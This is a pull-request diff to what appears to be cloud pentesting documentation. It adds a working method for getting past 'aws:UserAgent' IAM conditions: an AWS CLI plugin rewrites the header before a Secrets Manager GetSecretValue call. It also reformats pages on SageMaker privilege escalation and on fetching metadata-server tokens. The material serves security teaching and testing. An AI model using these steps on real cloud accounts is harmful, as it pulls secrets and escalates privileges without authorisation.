Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -109,6 +109,63 @@ response = client.get_secret_value(SecretId="flag_secret")
print(response["SecretString"])
```

### **Bypass User-Agent restrictions directly from AWS CLI**

The `aws:UserAgent` request context value is controlled by the client and therefore should not be treated as a strong authorization boundary. AWS CLI v2 can load legacy Python plugins through the `[plugins]` configuration section, and those plugins can register handlers on Botocore's event emitter.<sup>[[8]](#references)</sup>

A useful event for this purpose is `before-send.<service>.<operation>`. Botocore emits this event after the HTTP request has been prepared and immediately before transmitting it, which allows a plugin to modify the final request headers.<sup>[[9]](#references)</sup>

For example, create an AWS CLI plugin that changes the `User-Agent` only for `SecretsManager.GetSecretValue`:

```python
def _rewrite_user_agent(request=None, **kwargs):
if request is not None:
request.headers["User-Agent"] = b"Mozilla/5.0 custom-client"


def awscli_initialize(event_hooks):
event_hooks.register(
"before-send.secrets-manager.GetSecretValue",
_rewrite_user_agent,
)
```

Place the plugin in a directory such as `/tmp/awscli-plugins/user_agent_override.py` and enable it from an AWS CLI configuration file:

```ini
[default]
region = us-east-1

[plugins]
cli_legacy_plugin_path = /tmp/awscli-plugins
user_agent_override = user_agent_override
```

Then run the regular AWS CLI with that configuration:

```bash
AWS_CONFIG_FILE=/tmp/awscli-plugin-config \
aws secretsmanager get-secret-value \
--secret-id <secret-id>
```

For a policy condition such as:

```json
{
"StringNotLike": {
"aws:UserAgent": "aws-cli/*"
}
}
```

the normal AWS CLI sends a `User-Agent` beginning with `aws-cli/...`, while the plugin changes the final outgoing header before transmission. If no other authorization control blocks the request, the modified value no longer matches `aws-cli/*` and the conditional Allow can become applicable.

Using a late `before-send` hook is important because earlier request-building hooks may be followed by additional processing that reconstructs or modifies request headers.

> [!WARNING]
> `aws:UserAgent` conditions can be useful for visibility or coarse client filtering, but because the header is client-controlled they should not be relied upon as a security boundary by themselves.

### **`sts:GetFederationToken`**

The `GetFederationToken` operation returns temporary credentials for a federated user; any session policy intersects with the IAM user's policies, so it cannot grant more than the caller already has.<sup>[[2]](#references)</sup>
Expand All @@ -130,5 +187,7 @@ This operation creates a temporary federated session rather than a persistent IA
- [5] [AI-redteam/clier](https://github.com/AI-redteam/clier)
- [6] [Extensibility guide - Boto3 documentation](https://docs.aws.amazon.com/boto3/latest/guide/events.html)
- [7] [AWS Management Console sign-in events - AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html)
- [8] [AWS CLI v2 plugin loader implementation](https://github.com/aws/aws-cli/blob/v2/awscli/plugin.py)
- [9] [Botocore request sending and `before-send` event](https://github.com/boto/botocore/blob/develop/botocore/endpoint.py)

{{#include ../../../../banners/hacktricks-training.md}}
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,7 @@ AgentCore Code Interpreter is a managed execution environment. **Custom Code Int
If a **lower-privileged IAM principal** can **start + invoke** a Code Interpreter session that is configured with a **more privileged execution role**, the caller can effectively **pivot into the execution role’s permissions** (lateral movement / privilege escalation depending on role scope).<sup>[[1]](#references)[[2]](#references)[[6]](#references)</sup>

> [!NOTE]
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).<sup>[[1]](#references)[[6]](#references)</sup>
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.<sup>[[6]](#references)</sup>
> This is typically a **misconfiguration / excessive permissions** issue (granting wide permissions to the interpreter execution role and/or granting broad invoke access).<sup>[[1]](#references)[[6]](#references)</sup> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.<sup>[[6]](#references)</sup>

#### Preconditions (common misconfiguration)

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -37,8 +37,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
## `sagemaker:CreatePresignedDomainUrl`

> [!WARNING]
> This attack targets traditional SageMaker Studio domains that use the SageMaker AI `CreatePresignedDomainUrl` flow, not domains created by SageMaker Unified Studio. Unified Studio domains use the Unified Studio portal instead.<sup>[[5]](#references)[[23]](#references)</sup>
> Domains from Unified Studio may return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
> This attack targets traditional SageMaker Studio domains that use the SageMaker AI `CreatePresignedDomainUrl` flow, not domains created by SageMaker Unified Studio. Unified Studio domains use the Unified Studio portal instead.<sup>[[5]](#references)[[23]](#references)</sup> Domains from Unified Studio may return the error: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

An identity with permission to call `sagemaker:CreatePresignedDomainUrl` on a target Studio `UserProfile` can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker's browser a Studio session that inherits the profile's `ExecutionRole` permissions and full access to the profile's EFS-backed home and apps. No `iam:PassRole` or console access is required.<sup>[[5]](#references)[[6]](#references)[[7]](#references)[[8]](#references)</sup>

Expand Down Expand Up @@ -296,8 +295,7 @@ Each training run launched by the tuning job emits the metric and sends the supp
With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and `iam:PassRole`, an attacker can set the `ExecutionRole` to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.<sup>[[6]](#references)[[7]](#references)[[8]](#references)[[19]](#references)</sup>

> [!WARNING]
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.<sup>[[19]](#references)[[20]](#references)</sup>
> This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` If there is any app you will need `sagemaker:DeleteApp` permission to delete them first.<sup>[[19]](#references)[[20]](#references)</sup>

Steps:

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -20,9 +20,8 @@ az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account> --auth-mode login
```

{% hint style="warning" %}
Creating a stored access policy changes the queue ACL and therefore isn't authorized by the queue `write` action. Microsoft Entra authorization maps this operation to `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`. The current `az storage queue policy create` command instead accepts an account key, SAS, or connection string and doesn't expose `--auth-mode login`; it requires both a policy name and queue name, and queue policy permissions use the letters `a` (add), `p` (process), `r` (read), and `u` (update).<sup>[[1]](#references)[[3]](#references)</sup>
{% endhint %}
> [!WARNING]
> Creating a stored access policy changes the queue ACL and therefore isn't authorized by the queue `write` action. Microsoft Entra authorization maps this operation to `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`. The current `az storage queue policy create` command instead accepts an account key, SAS, or connection string and doesn't expose `--auth-mode login`; it requires both a policy name and queue name, and queue policy permissions use the letters `a` (add), `p` (process), `r` (read), and `u` (update).<sup>[[1]](#references)[[3]](#references)</sup>

```bash
az storage queue policy create \
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -30,8 +30,7 @@ wget -q -O - --header "Metadata-Flavor: Google" "http://metadata/computeMetadata
### Container Escape / Docker use

> [!WARNING]
> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket.
> Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
> Previously the cloud shell run in a container with access to the docker socket of the host. Now Google has changed the architecture and the cloud shell container runs a "Docker in a container" setup. So even if it's possible to use docker from the cloud shell, you won't be able to escape to the host using the docker socket. Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.

Earlier research also documented Google Cloud Shell exposing the host Docker socket and reported a later restriction of eBPF permissions.<sup>[[5]](#references)</sup> Google's current documentation describes Cloud Shell as a Docker container running on an ephemeral VM and lists Docker as preinstalled; a usable client or socket does not by itself establish host-VM access.<sup>[[1]](#references)</sup>

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -70,10 +70,7 @@ curl -s -H "Metadata-Flavor: Google" \
The metadata server requires the `Metadata-Flavor: Google` header; its token endpoint returns an OAuth access token containing the scopes configured for the VM.<sup>[[6]](#references)[[7]](#references)</sup>

> [!CAUTION]
> **Check the Scopes!**
> Even if the attached Service Account has a broad role such as **Editor**, VM access scopes can further restrict OAuth API calls.
> `https://www.googleapis.com/auth/cloud-platform` is the broad OAuth scope, but IAM roles still bound the token's effective permissions.
> If you only see `logging.write` and `monitoring.write`, API use is constrained to those write scopes; the **Network Pivot** and **Persistence** vectors below do not depend on broad API scopes.<sup>[[7]](#references)</sup>
> **Check the Scopes!** Even if the attached Service Account has a broad role such as **Editor**, VM access scopes can further restrict OAuth API calls. `https://www.googleapis.com/auth/cloud-platform` is the broad OAuth scope, but IAM roles still bound the token's effective permissions. If you only see `logging.write` and `monitoring.write`, API use is constrained to those write scopes; the **Network Pivot** and **Persistence** vectors below do not depend on broad API scopes.<sup>[[7]](#references)</sup>

<details>

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,8 @@ Secure Execution protects data in a KVM guest from inspection or modification by

Data volumes attached to HPVS for VPC are LUKS-encrypted using seeds supplied in the deployment contract and can optionally incorporate a seed protected by IBM Hyper Protect Crypto Services.<sup>[[4]](#references)</sup>

{% hint style="warning" %}
IBM Cloud Hyper Protect Virtual Servers for VPC is deprecated. New instances cannot be created after 28 February 2026; existing instances are supported until 20 February 2027 and are scheduled for deletion on that date. IBM directs users to its Confidential Computing Container Runtime offerings for migration.<sup>[[4]](#references)</sup>
{% endhint %}
> [!WARNING]
> IBM Cloud Hyper Protect Virtual Servers for VPC is deprecated. New instances cannot be created after 28 February 2026; existing instances are supported until 20 February 2027 and are scheduled for deletion on that date. IBM directs users to its Confidential Computing Container Runtime offerings for migration.<sup>[[4]](#references)</sup>

### Metadata & VPC

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,8 @@ An OpenShift service account is identified by its project and name as `system:se

Preconfigured templates and stale cluster objects can therefore leave a RoleBinding, ClusterRoleBinding, or SCC grant referring to a service account that does not yet exist. A RoleBinding can name a missing account in its existing project; a cluster-scoped ClusterRoleBinding or direct SCC grant can also name an account in a project that does not yet exist. If an attacker can create the referenced service account—or, for a cluster-scoped reference, first create the missing project—the resulting identity matches the existing grant and receives its role or SCC permissions. OpenShiftGrapher documents this dangling-reference attack pattern and represents the missing objects as `AbsentProject` and `AbsentServiceAccount` nodes.<sup>[[4]](#references)[[5]](#references)</sup>

{% hint style="warning" %}
Creating the service account does not, by itself, guarantee that the attacker can authenticate as it. Exploitation also requires a way to use the account, such as permission to create a workload under it or to create a `serviceaccounts/token` TokenRequest. OpenShift 4.16 and later no longer create a long-lived API-token Secret automatically for each new service account.<sup>[[2]](#references)[[6]](#references)</sup>
{% endhint %}
> [!WARNING]
> Creating the service account does not, by itself, guarantee that the attacker can authenticate as it. Exploitation also requires a way to use the account, such as permission to create a workload under it or to create a `serviceaccounts/token` TokenRequest. OpenShift 4.16 and later no longer create a long-lived API-token Secret automatically for each new service account.<sup>[[2]](#references)[[6]](#references)</sup>

<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>

Expand Down